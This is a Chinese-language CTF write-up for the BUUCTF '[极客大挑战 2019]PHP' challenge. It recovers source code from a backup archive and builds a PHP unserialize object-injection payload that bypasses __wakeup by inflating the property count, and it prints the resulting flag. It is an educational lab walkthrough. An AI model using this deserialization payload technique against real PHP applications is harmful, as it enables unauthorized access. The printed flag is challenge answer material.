BUU-WEB-[极客大挑战 2019]PHP

查看源码没有任何提示，于是爆破一下，看有没有其他子页面。结果爆破出一个www.zip的备份压缩包。

flag.php源码：

$flag = 'Syc{dog_dog_dog_dog}';
?>

（可惜，这不是flag）
index.php部分源码：

 
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

这里select用了get提交方式，并且做了一次反序列化。
class.php源码：

include 'flag.php';


error_reporting(0);


class Name{
     
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
     
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
     
        $this->username = 'guest';
    }

    function __destruct(){
     
        if ($this->password != 100) {
     
            echo "
NO!!!hacker!!!
";
            echo "You name is: ";
            echo $this->username;echo "
";
            echo "You password is: ";
            echo $this->password;echo "
";
            die();
        }
        if ($this->username === 'admin') {
     
            global $flag;
            echo $flag;
        }else{
     
            echo "
hello my friend~~
sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

从这段源码中可以看出我们要构建的password为100，username为admin，才可以获取flag。
尝试构建序列化字符串

class Name
{
     
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
echo urlencode(serialize($a))
?>

//未编码的payload
O:4:"Name":2:{
     s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
O:4:"Name":3:{
     s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
//url编码的payload
O:4:%22Name%22:3:{
     s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

构建payload为：

?select=O:4:%22Name%22:3:{
     s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

flag{
     4c823c6c-a3a6-41ee-ae01-acaa7ec7c9fe}